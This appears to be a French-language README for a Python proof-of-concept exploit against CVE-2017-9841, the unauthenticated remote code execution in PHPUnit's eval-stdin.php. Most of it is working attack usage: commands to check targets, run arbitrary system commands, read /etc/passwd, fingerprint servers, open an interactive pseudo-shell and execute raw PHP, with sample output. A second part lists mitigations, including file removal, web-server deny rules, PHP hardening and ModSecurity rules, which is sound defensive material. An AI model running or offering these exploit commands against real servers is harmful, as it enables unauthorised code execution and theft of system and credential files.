
CVE-2017-9841 est une vulnérabilité d'exécution de code à distance (RCE) dans la bibliothèque PHPUnit affectant les versions antérieures à 5.6.3 et les versions 6.x antérieures à 6.4.2.
⚠️ AVERTISSEMENT : Cet outil est destiné uniquement à des fins éducatives et à des tests de sécurité autorisés. Toute utilisation non autorisée contre des systèmes dont vous n'êtes pas propriétaire ou pour lesquels vous n'avez pas d'autorisation explicite est illégale. L'auteur décline toute responsabilité en cas d'utilisation abusive de cet outil.
CVE-2017-9841 est une vulnérabilité d'exécution de code à distance (RCE) dans la bibliothèque PHPUnit affectant les versions antérieures à 5.6.3 et les versions 6.x antérieures à 6.4.2.
La vulnérabilité réside dans src/Util/PHP/eval-stdin.php, qui exécute du code PHP reçu via php://input (corps de la requête POST) en utilisant la fonction eval(). Si ce fichier est accessible publiquement (par exemple, dans un répertoire vendor/ non protégé), un attaquant peut exécuter du code PHP arbitraire sur le serveur sans authentification.
// vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
eval('?>' . file_get_contents('php://input'));
Ce fichier accepte du code PHP depuis le corps de la requête POST et l'exécute immédiatement via eval() sans aucune authentification ni validation.
requestspip install requests
git clone <url-du-dépôt>
cd CVE-2017-9841
chmod +x poc_cve-2017-9841.py
python3 poc_cve-2017-9841.py -u <URL> [options]
L'option -u accepte soit une URL de base (le chemin vulnérable est ajouté automatiquement), soit une URL complète pointant directement vers eval-stdin.php.
python3 poc_cve-2017-9841.py -u 'https://cible.com' --check
Sortie :
[*] Cible : https://cible.com
[*] Point d'accès : https://cible.com/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
[*] Vérification de la vulnérabilité sur : ...
[+] Fichier accessible (HTTP 200)
[+] VULNÉRABLE ! Exécution de code confirmée.
[+] Réponse : VULN_CHECK_OK_2017_9841
# Commande unique
python3 poc_cve-2017-9841.py -u 'https://cible.com' -c 'whoami'
# Commandes multiples
python3 poc_cve-2017-9841.py -u 'https://cible.com' -c 'id && hostname && uname -a'
# Lire un fichier
python3 poc_cve-2017-9841.py -u 'https://cible.com' -c 'cat /etc/passwd'
# Enregistrer la sortie dans un fichier
python3 poc_cve-2017-9841.py -u 'https://cible.com' -c 'cat /etc/passwd' -o resultat.txt
python3 poc_cve-2017-9841.py -u 'https://cible.com' --info
Sortie :
=== INFORMATIONS DU SERVEUR ===
Version PHP : 8.x.x
Système d'exploitation : Linux
SAPI : fpm-fcgi
Utilisateur : www-data
Nom d'hôte : web-server-01
Adresse IP du serveur : 192.168.1.100
Répertoire de travail : /var/www/html/app/vendor/phpunit/phpunit/src/Util/PHP
Racine du document : /var/www/html/
Logiciel serveur : Apache
Limite mémoire : 256M
Temps d'exécution max : 30s
Open Basedir : (aucun)
Fonctions désactivées : (aucune)
=== FONCTIONS DANGEREUSES ===
system : OUI
exec : OUI
passthru : OUI
shell_exec : OUI
proc_open : OUI
popen : OUI
curl_exec : OUI
python3 poc_cve-2017-9841.py -u 'https://cible.com' --shell
Sortie :
[*] Pseudo-shell (tapez 'exit' ou 'quit' pour quitter)
--------------------------------------------------
www-data@web-server-01$ whoami
www-data
www-data@web-server-01$ ls -la /var/www/html/
total 12
drwxr-xr-x 4 www-data www-data 4096 Jun 11 00:00 .
drwxr-xr-x 3 root root 4096 Jan 01 00:00 ..
drwxr-xr-x 8 www-data www-data 4096 Jun 11 00:00 app
www-data@web-server-01$ exit
[*] Sortie du shell.
python3 poc_cve-2017-9841.py -u 'https://cible.com' --find-path
python3 poc_cve-2017-9841.py -u 'https://cible.com' \
--path '/chemin/personnalise/eval-stdin.php' -c 'whoami'
python3 poc_cve-2017-9841.py \
-u 'https://cible.com/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php' \
-c 'whoami'
python3 poc_cve-2017-9841.py -u 'https://cible.com' \
--php '<?php phpinfo(); ?>'
sudo rm /chemin/vers/projet/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
Ajoutez un fichier .htaccess dans le répertoire vendor/ :
# /chemin/vers/projet/vendor/.htaccess
Deny from all
Ou configurez-le dans votre VirtualHost Apache :
<Directory "/chemin/vers/projet/vendor">
Require all denied
</Directory>
Pour Nginx :
location /vendor/ {
deny all;
return 403;
}
cd /chemin/vers/projet
composer install --no-dev --optimize-autoloader
disable_functions dans php.ini; /etc/php/8.4/fpm/php.ini
disable_functions = system,exec,passthru,shell_exec,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source
open_basedir; /etc/php/8.4/fpm/php.ini ou dans VirtualHost
open_basedir = /var/www/html/projet:/tmp
max_execution_timemax_execution_time = 30
sudo systemctl restart php8.4-fpm
# ou
sudo systemctl restart php-fpm
composer require --dev phpunit/phpunit:^10.0
composer update phpunit/phpunit
Exemple ModSecurity :
SecRule REQUEST_URI "eval-stdin\.php" \
"id:1000001,phase:1,deny,status:403,msg:'Blocage CVE-2017-9841'"
SecRule REQUEST_URI "/vendor/" \
"id:1000002,phase:1,deny,status:403,msg:'Bloquer l accès au répertoire vendor'"
# Exemple : GitHub Actions
- name: Installer uniquement les dépendances de production
run: composer install --no-dev --optimize-autoloader
- name: Supprimer les fichiers de test et les scripts vulnérables
run: |
rm -rf vendor/phpunit
rm -rf vendor/mockery
rm -rf tests/
find vendor -name "eval-stdin.php" -delete
┌──────────────────────────────┐
│ Attaquant │
└──────────────┬───────────────┘
│ POST (code PHP)
▼
┌─────────────────────────────────────────────────────────────┐
│ Serveur Apache │
│ ┌───────────────────────────────────────────────────────┐ │
│ │ /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php │ │
│ │ │ │
│ │ eval('?>' . file_get_contents('php://input')); │ │
│ │ ▲ │ │
│ └───────────┼───────────────────────────────────────────┘ │
│ │ │
│ ▼ │
│ ┌───────────────────────────────────────────────────────┐ │
│ │ Exécution de code arbitraire │ │
│ │ │ │
│ │ - Lecture/écriture de fichiers sur le serveur │ │
│ │ - Accès aux identifiants de base de données │ │
│ │ - Mouvement latéral vers le réseau interne │ │
│ │ - Installation de portes dérobées / webshells │ │
│ │ - Élévation de privilèges │ │
│ └───────────────────────────────────────────────────────┘ │
└─────────────────────────────────────────────────────────────┘
Les conditions suivantes augmentent considérablement la gravité et l'exploitabilité de cette vulnérabilité :
Cet outil est fourni à des fins éducatives et pour des tests de sécurité autorisés uniquement.
| Champ | Valeur |
|---|
| Identifiant CVE | CVE-2017-9841 |
| Score CVSS | 9.8 (Critique) |
| Versions affectées | PHPUnit < 5.6.3, 6.x < 6.4.2 |
| Type | Exécution de code à distance (RCE) |
| Authentification | Non requise |
| Vecteur | Réseau (distant) |
| Publiée le | 27 juin 2017 |
| Référence | NVD |
| Option | Description |
|---|
-u, --url URL | URL de base de la cible ou URL complète vers eval-stdin.php |
-c, --cmd CMD | Commande CLI à exécuter sur le serveur cible |
--check | Vérifier si la cible est vulnérable sans exécuter de commandes |
--shell | Ouvrir un pseudo-shell interactif |
--info | Recueillir les informations du serveur (lecture seule) |
--find-path | Analyser les chemins courants pour localiser eval-stdin.php |
--path PATH | Spécifier un chemin personnalisé vers eval-stdin.php |
--timeout N | Délai d'attente de la requête en secondes (par défaut : 30) |
-o, --output FICHIER | Enregistrer la sortie de la commande dans un fichier |
--php CODE | Exécuter du code PHP brut au lieu de commandes système |
| Facteur | Impact |
|---|
disable_functions est vide | Toutes les fonctions PHP sont disponibles (system, exec, etc.) |
open_basedir n'est pas défini | L'attaquant peut lire/écrire des fichiers sur l'ensemble du système de fichiers |
max_execution_time élevé | L'attaquant dispose de plus de temps par requête pour des charges utiles complexes |
| Extension FFI chargée | Permet des appels directs à des fonctions C, contournant les restrictions PHP |
| Extensions de base de données chargées | Connexions directes à la base de données possibles (mysqli, pgsql, etc.) |
| Aucun WAF déployé | Aucun filtrage ou blocage des requêtes |
| Aucun IDS/IPS en place | Aucune détection d'anomalie ni alerte |
| Dépendances de développement en production | Élargit inutilement la surface d'attaque |